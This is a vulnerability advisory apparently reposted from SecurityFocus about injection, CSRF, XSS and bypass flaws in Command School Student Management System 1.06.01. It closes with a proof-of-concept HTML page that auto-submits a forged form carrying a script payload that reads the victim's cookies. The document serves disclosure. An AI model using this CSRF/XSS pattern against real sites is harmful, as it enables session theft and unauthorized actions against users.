26 lines
No EOL
1.1 KiB
HTML
26 lines
No EOL
1.1 KiB
HTML
source: https://www.securityfocus.com/bid/64707/info
|
|
|
|
Command School Student Management System is prone to the following security vulnerabilities:
|
|
|
|
1. Multiple SQL-injection vulnerabilities
|
|
2. A cross-site request forgery vulnerability
|
|
3. A cross-site scripting vulnerability
|
|
4. An HTML injection vulnerability
|
|
5. A security-bypass vulnerability
|
|
|
|
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
|
|
|
|
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected.
|
|
|
|
[CSRF with XSS Exploit]
|
|
|
|
<html>
|
|
<body onload="document.form0.submit();">
|
|
<form method="POST" name="form0" action="http://http://www.example.com/sw/add_topic.php">
|
|
<input type="hidden" name="topic"
|
|
value="<script>alert(document.cookie);</script>" />
|
|
<input type="hidden" name="detail" value="Iphobos Blog" />
|
|
<input type="hidden" name="Submit" value="Submit" />
|
|
</form>
|
|
</body>
|
|
</html> |